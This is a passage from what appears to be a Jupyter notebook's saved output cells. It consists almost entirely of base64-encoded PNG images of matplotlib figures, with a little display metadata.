LX6+nXrx8zZ85k+PDht8VCCf9JR5ednU1CQgLz5s3D29ubmTNnUltby6FDhyguLhYDdwxBd7dKaWlppyBNZ2dnVq1axZIlS8RtTcM9DQ0N5dNPPyUxMZGkpCTOnTvH2bNnyc3NFdM9mpubExUVdUurSEEQ2LNnj+jbaUAmk2FpaYmXlxfh4eF4enqiVquZNGlSj33j/witVktOTg5Hjx7FwsKCIUOGGO2Z1mg0lJaWUlxcTFFREWq1GkdHR1pbW8nMzOTTTz8lLi4OnU7Hiy++KBaTMra/p5WVFbNmzeL777/v9P9XX32V7777jkGDBhlVXlfodDoSExPFAiWmRriubDd0WM+ee+455syZA8Dzzz+PRqPh6aef5vDhw3h5efV6S1Imk+Hu7s4DDzyAp6cnJ0+eZPv27Wg0Gt59910mTJiATCbD3t4epVKJtbW1UcfP9vZ20Tr3wgsvMGfOHKMFtP0RoaGhfP3112RmZrJ7927Onj2LTqdjyJAh3HfffYwYMcJkNSLUajW5ublinQIzMzMcHR1NNnb369ePFStWMHz4cDZu3MiBAwfEirL33nsvfn5+TJ48GU9PT9zc3LCysupxmXYnJydmzpxJ//79kcvlDBgwoFP8lIWFBRYWFsybN4+BAweSm5tLYmIiZ86cQaVSoVKpxDTFEydOZObMmb16zg2BhtAxZ4WFhRnNpQ7gySef5J133kGv17N+/Xq2bduGQqFAp9PR1NQkZv4yNzenb9++PPXUU7dcwbetrY2//OUvVFRUYGVl1ek5sbKyIiAg4IZnVa/XU1JSIu6gGq4tdMRzPf300z0uJGaouLl48WLWrl2LWq3mvvvuY8uWLURFRZGZmcnbb79NQcH/3969xzR1/n8Af7eFFmi52CItlHIpFS3XIuAFFIo3wMEGMgVBZM54wVvU4ZwhmdFE2abL/tiyJWa6bP8oGhZxFxMnU4e4TeMNUBTHVERcBBURUKSl3z/89fzQ6Tah5zzOfV7Jktk/+ulzzoennz7nuVx9rE9zxPeE1WpFfX39Y68lJSUhJSUFwcHBgtU/T34m+97t9jrDEaZNm4bt27fj2LFj3KFNNpsNer0eycnJWLFiBfR6vcNr2kFfQfvq//Lycpw9exbAo5XFiYmJyMzMRGJiokO+uJ6XQqGAr6+vQx+HdXV1YevWraisrMS1a9e4rcAKCwuRkZEhSNFg5+npyR0KYj9w5tq1a7h69Sr6+vq4aQwymQzp6enIzc0dVBE1efJknD9/Hnv37oVSqcT8+fNRVFT01D1qnZ2d4e/vz60qPnnyJFxcXHDkyBFIpVKkpKTAx8eHO4zheXR2dgLAYx27n58fxo8fD7PZjJEjR8LV1RUPHz6EWq3mbX5xS0sLzp49i3v37kGtViMlJcVh761Wq6HValFfX4+GhgbU1dVBo9Gguroau3fvxqlTp9Db24vp06ejuLgYarWal4VX9q0wn1RbW+vQBTJ/pa6uDtevX0dvby8CAgKGdHT0P2EwGDBixAhcvHgROp0OBQUF3D7fERER8PT0RGdnJ/fDUqPROKRPk0gk8PX1xfTp0xEfH4+cnBxYrVbExcU59BCrv2MwGHj5YfcsUqkUkZGRCAoKgslkQltbG/r7+6FSqaDT6eDp6cnbd8aJEydw6NAh7mAWmUyG0aNH8xILeNRWjUYDs9mMgIAALFq0CMCjqX5arRZyuRwajcYhhYxIJIJSqeTa86ypmsOGDcOYMWMQHh6OCRMmcFvENTU1QSKRQK/XIzExEVqtdsg5Yb+Pw4YNQ0hIiMMGyEQiEZKSkvDJJ5/g7t27aGtre+qUTB8fH2RnZ6OgoACRkZHPvZ7IZrOhvb2dm+YykJOTE3cC85Pu37/PDYY5Oztj7NixSExM5L4fh7LJhEKhQHh4OEaPHo1Tp06hsbERa9euRXZ2NiorK3HixAnuh3ZAQAC3LmCoxGIxNy3SYrHAx8cHOTk58Pf3Z1KIA4+m5Fy6dMnhC5Hd3d2xevVqGI1GrsgPCgrC1KlTodPpBnXa9T8x6HfUaDRIT0+HVqvlRlAlEglGjBiB8PBwZvNLlUolhg8f7rDtDW02G27fvo0vv/wSzc3N6O/vh7OzMxISEpCSkoLAwEBB56DZF2QkJCTAyckJUVFROHnyJABwJ8mFhYXBYDCgsLAQEyZMGNSPhejoaCxfvhyJiYmQy+VITEz828MivLy84OXlxW3Jl5GRAYVCAaPRCLlc/tw/kEQiEbKysri9gO0dmk6nQ0hICPR6vcMPNHqWrq4u3Lp1C1KpFL6+vjCZTA57bzc3N5hMJhw/fhw///wzenp64ObmhqamJtTW1qK/vx8JCQlYtWrVY6v0HU0sFsPDwwOhoaHctm/Ao63BBo608KmpqYlbzObj48P7TioajQZpaWlQqVTQ6/VIT0+HRqNBf38/RowYgTlz5uDTTz+FxWJBTU0NoqKiHNYROzk5QalUQqlUCvLU4Wm+//57FBYWCr6gTaVSCT7H1F5YPXz4EAqFAlFRUc89Wvq87H9TJpPJoX3Gs2L93XopkUgEV1dXuLq6wtvbG3q9HtHR0bh9+zZ3xPpQ1z4FBQXB3d0d3d3dsNlscHZ2hlwud+jTl+joaLz33nuoqqrClStX0NDQgO7ubigUCm471Pj4eJjNZsTExAwqhrOzM959912uPxoMsViM4OBgGAwGbr3XUNj3NV+xYgW2b9+OmpoaVFdXo729HQ0NDejr64NYLEZUVBSmTp0Ks9nskIFJJycnvPbaazh48CBqamowbdo0hIaGCrKL2LO4u7tj1KhRGDVqlEMHx4BHC5/9/Py4dTUqlcqh+9M/zZDeWaVSOfwiDJXRaERgYKBDv1x6enpw5coV7t/+/v7Iy8vDqFGjBC3EB1IoFDCbzYiIiOCKcftiyoiICAQHB3PHLQ+Gu7v7oLeu8/b2Rmpq6pBPxxSJRFi+fDkMBgNsNhvMZjMmTpwo2BZKA/X398NqtUImkyEwMNDhj9KTk5Nx/PhxVFVVobKyEgC4BWYpKSnIzc3FpEmTHBrzSfajvBcsWICysrLHOiKhirV79+5xhb9Go+FtyoKdVCpFcnIyoqOjHytExGIxNBoN5s6di71790Kn0/GyJZrQ7NNfAgIC0NzcjJaWlj9tqfhfoFKpkJWVxftOPS86+3S/J8+sGIqEhARMmjQJ33zzDTo7O7lToh1JrVZj8eLFCAsLQ1NTE+rq6tDT0wO5XA6DwYCYmBiEhYUNabBGIpFg/vz5DvzUQyeVShEcHAxvb29IpVKIxWLuBHDb/50XYDQaMWvWLKSkpCAkJMQho8ZisRgmkwnFxcWIjIzEjBkzBH2i9jTDhw9Heno63NzcHL5ttpubG2/7lj8Lm+cLPNHr9YiJiXH49jr20ei2tjZ4eXlhypQpSE9P571Q+DtisRg+Pj7cNkmDPSTjRSUSiWA2m2E2m1l/FO4gJzc3NxiNRocXp3FxccjJyYFcLue2jpJIJPDz88OyZct4fZxuJxaLodVqsXTpUpw7dw7nzp3DrVu3MHHiRMGmYnl7e3PX1sPDQ5AnH88qRiQSCYxGI/Ly8jBu3DikpqYKNreaLxKJBP7+/pgzZw6OHz+O6dOnC7Y154vCyckJ/v7+SEtLY/1RXkpRUVFYvHgxRCIRWltbMWPGjEGPTv+dpKSk59qT/WXh7u6O119/HR4eHigvL8eNGzdgs9m4GQtTpkzh5alifn4+8vPzHf6+g+Hi4oLIyEhBt9vlk6ijo+OZu5XzsQ3Rv1F7eztKS0tx+PBhxMbGori4GLGxsbye9EleLNeuXcPu3btx4MABlJaWvvRfAL29vTh//jyOHj2KvLw8wU7uu337Nt588000NDQgKysLRUVFgo9QkJfTt99+ix07duDKlSswm83YvHnzf+6HCCGELYvF8vQT3KkYJ4QQQgghhF/PKsb/3RMgCSGEEEII+Rf7yznjA08II4QQQgghhAzOszYB+Mti3L5XJiGEEEIIIcTxaJoKIYQQQgghjFAxTgghhBBCCCNUjBNCCCGEEMIIFeOEEEIIIYQwQsU4IYQQQgghjFAxTgghhBBCCCO8FOOvvPIK1Go1tFottFot4uLi+AjzJ9u2bYPZbIaPjw+Ki4sFiWlvo/0/pVKJNWvWCBIbAK5evYqZM2ciMDAQoaGhWLNmDSwWC68xe3t7sWzZMkRERMDf3x8TJkzADz/8wGtMlnEHampqglqtxsKFCwWJt3DhQowcORI6nQ6xsbH46quvBIkLsMmtgYS81qxzq6KiAmPGjIGfnx9MJhOOHTvGe0wW/eVALNpsJ/TfMcCmvazymmVu3blzBwUFBfDz80NERAT27NkjSFxWfTWr9rK6xyxzi8/a9i/3GR+KLVu2YO7cuXy9/VNpNBqUlJTgxx9/xP379wWJef36de7/u7q6MHLkSGRlZQkSGwBKSkrg7e2Nixcv4u7du8jOzsbnn3+OxYsX8xbTYrFAq9Xiu+++g06nw4EDBzBv3jzU1NQgMDDwpYs7UElJCUaPHi1ILABYtWoVPv74Y8hkMjQ2NiIjIwNRUVEwmUy8x2aRW0/GF+pas8ytQ4cOYf369fjiiy8QGxuLP/74g9d4diz6SztWbbYT+u+YVXtZ5TXL3CopKYFUKkVjYyPq6uqQm5uLiIgIGI1GXuOy6qtZtZfVPWaZWwB/te1LNU3l1VdfRUZGBpRKJZP4+/btg7e3NxISEgSLefXqVWRnZ8PFxQVqtRqTJ0/GhQsXeI0pl8uxbt06BAYGQiwWIy0tDQEBAThz5sxLGdeuoqICnp6eSEpKEiQeABiNRshkMgCASCSCSCTC5cuXBYnNIrfshL7WLHOrrKwMb7/9NuLj4yEWi+Hn5wc/Pz/e47LsL1m1GWDzd8yqvazymlVudXd3Y9++fSgtLYVCocD48eORlpaG8vJy3mOz6KtZtpfVPWZd5/GFt2J8w4YN0Ov1SE1NRXV1NV9hXig7d+5EXl4eRCKRYDGLi4tRUVGBnp4etLa24uDBg5g8ebJg8QHg5s2baGpq4v2XOMu4nZ2d2Lx5MzZt2sR7rCe99dZb8PX1RXx8PNRqNaZOnSpIXFa5xfJa2wmVW1arFadPn8atW7cQExODsLAwrFmzhsmIj1BYtplFbr1I95hVXy2U3377DU5OTjAYDNxrkZGRaGhoECS+0H016/b+F/FV2/JSjG/YsAFnzpxBQ0MDioqKMHv2bMFG81hpbm5GTU0NZs+eLWjchIQEXLhwATqdDmFhYTCZTMjIyBAsfl9fHxYsWIDZs2cjNDT0pY27adMmFBYWQqvV8h7rSR9++CFaWlqwf/9+ZGZmcqMvfGOVWyyvNSBsbt28eRN9fX2orKzE/v37UV1djdraWmzdupXXuCyxbDOL3HpR7jGrvlpI3d3dcHd3f+w1Dw8PdHV1CRJf6L6adXv/a/isbXkpxuPi4uDu7g6ZTIb8/HyMHTsWBw4c4CPUC6O8vBzjxo1DUFCQYDH7+/uRk5ODzMxMtLa24vfff0dHRwfWr18vWPxFixZBKpViy5YtgsRkEbe2thZHjhzBkiVLeI/1LBKJBOPHj0drayu2b9/OezxWucX6WgudW66urgAeLf7SaDRQqVRYsmTJS91fsmozq9x6Ee4xq75aaHK5HPfu3Xvstc7OTigUCsE+g5B99YvQ3v8SPmtb3hZwDiQSiWCz2YQIxcyuXbuwcuVKQWPeuXMHLS0tWLBgAWQyGWQyGQoKCrBp0yZs3LiR19g2mw3Lli3DzZs3sWfPHjg7O/Maj2Xco0ePorm5GREREQAejUZYrVZcuHABP/30E+/xB7JYLII8ZWKVWyyvNYvc8vLyglarfWxqm5DT3Fhg1WZWucX6HrPqq1kwGAywWCxoampCSEgIAKC+vp7JtBwh+uoXqb3/RY6sbR0+Mt7R0YGqqio8ePAAFosFu3fvxrFjxzBlyhRHh/oTi8WCBw8ewGq1wmq1cp+Bb7/++itu3Lgh6C4qAKBSqRAYGIgdO3bAYrGgo6MDO3fuRHh4OO+xV69ejcbGRuzatYsb+RECi7hvvPEGTp8+jerqalRXV2PevHmYNm0avv76a17jtrW1oaKiAl1dXbBaraiqqkJFRQWSk5N5jQuwyy1W1xpgl9P5+fnYtm0b2tra0NHRgc8++wypqam8x2XVXwJs2swyt1jdY4BNXrPKLblcjszMTGzevBnd3d345ZdfsH//fuTm5vIal1Vfzaq9ALt7zCou37WtqKOjw6FD1u3t7Zg5cyYuXboEsViM0NBQlJaWIiUlxZFhnqqsrAzvv//+Y6+tXbsW69at4zXuypUr0dPTg23btvEa52lqa2uxbt061NfXQyKRICkpCR988AF8fHx4i9nc3IyoqCjIZDI4Of3/w5WPPvoIs2bNeuniPqmsrAyXL1/m/X63t7dj7ty5qK+vh81mg06nw6JFi1BUVMRrXDsWufUkoa41y9zq6+vDO++8gz179sDFxQVZWVnYuHEjXFxceI3Lqr8E2LV5IKFyC2DXXlZ5zTK37ty5g6VLl+Lw4cNQKpVYv349Zs6cyWtMln01i/YC7O4xq7h817YOL8YJIYQQQggh/8xLtc84IYQQQggh/yZUjBNCCCGEEMIIFeOEEEIIIYQwQsU4IYQQQgghjFAxTgghhBBCCCNUjBNCCCGEEMIIFeOEEEIIIYQwQsU4IYQQQgghjFAxTgghhBBCCCP/A6qB1yxoTdkqAAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "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